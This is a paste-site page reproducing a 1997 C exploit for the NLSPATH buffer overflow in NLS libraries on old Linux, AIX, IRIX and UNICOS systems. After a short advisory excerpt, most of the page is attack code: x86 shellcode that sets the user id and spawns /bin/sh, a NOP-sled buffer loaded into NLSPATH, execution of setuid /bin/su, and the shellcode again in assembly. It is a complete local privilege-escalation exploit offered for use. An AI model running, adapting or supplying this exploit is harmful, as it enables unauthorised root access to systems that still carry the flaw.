UNICOS 9/MAX 1.3/mk 1.5 / AIX 4.2 / libc 5.2.18 / RedHat 4 / IRIX 6 / Slackware 3 - NLS (2)


SUBMITTED BY: FlyFar

DATE: May 16, 2024, 3:59 a.m.

FORMAT: C

SIZE: 2.6 kB

HITS: 425

  1. /*
  2. source: https://www.securityfocus.com/bid/711/info
  3. Cray UNICOS 9.0/9.2/MAX 1.3/mk 1.5,AIX <= 4.2,Linux libc <= 5.2.18,RedHat 4.0,IRIX 6.2,Slackware 3.1 Natural Language Service (NLS) Vulnerability (2)
  4. A buffer overflow condition affects libraries using the Natural Language Service (NLS). The NLS is the component of UNIX systems that provides facilities for customizing the natural language formatting for the system. Examples of the types of characteristics that can be set are language, monetary symbols and delimiters, numeric delimiters, and time formats.
  5. Some libraries that use a particular environment variable associated with the NLS contain a vulnerability in which a buffer overflow condition can be triggered. The particular environment variable involved is NLSPATH on some systems and PATH_LOCALE on others.
  6. It is possible to exploit this vulnerability to attain unauthorized access by supplying carefully crafted arguments to programs that are owned by a privileged user-id and that have setuid or setgid bits set.
  7. --- nlspath.c ---
  8. */
  9. /*
  10. * NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1
  11. * Copyright (c) 1997 by Solar Designer
  12. */
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <unistd.h>
  16. char *shellcode =
  17. "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  18. "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  19. "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  20. "\xcd\x80/"
  21. "/bin/sh"
  22. "0";
  23. char *get_sp() {
  24. asm("movl %esp,%eax");
  25. }
  26. #define bufsize 2048
  27. char buffer[bufsize];
  28. main() {
  29. int i;
  30. for (i = 0; i < bufsize - 4; i += 4)
  31. *(char **)&buffer[i] = get_sp() - 3072;
  32. memset(buffer, 0x90, 512);
  33. memcpy(&buffer[512], shellcode, strlen(shellcode));
  34. buffer[bufsize - 1] = 0;
  35. setenv("NLSPATH", buffer, 1);
  36. execl("/bin/su", "/bin/su", NULL);
  37. }
  38. --- nlspath.c ---
  39. And the shellcode separately:
  40. --- shellcode.s ---
  41. .text
  42. .globl shellcode
  43. shellcode:
  44. xorl %eax,%eax
  45. movb $0x31,%al
  46. int $0x80
  47. xchgl %eax,%ebx
  48. xorl %eax,%eax
  49. movb $0x17,%al
  50. int $0x80
  51. .byte 0x68
  52. popl %ecx
  53. popl %eax
  54. jmp *%ecx
  55. call *%esp
  56. xorl %eax,%eax
  57. cltd
  58. movl %ecx,%edi
  59. movb $'/'-1,%al
  60. incl %eax
  61. scasb %es:(%edi),%al
  62. jne -3
  63. movl %edi,(%ecx)
  64. movl %edx,4(%ecx)
  65. movl %edi,%ebx
  66. incl %eax
  67. scasb %es:(%edi),%al
  68. jne -3
  69. movb %dl,-1(%edi)
  70. movb $0x0B,%al
  71. int $0x80
  72. xorl %eax,%eax
  73. incl %eax
  74. xorl %ebx,%ebx
  75. int $0x80
  76. .byte '/'
  77. .string "/bin/sh0"
  78. --- shellcode.s ---

comments powered by Disqus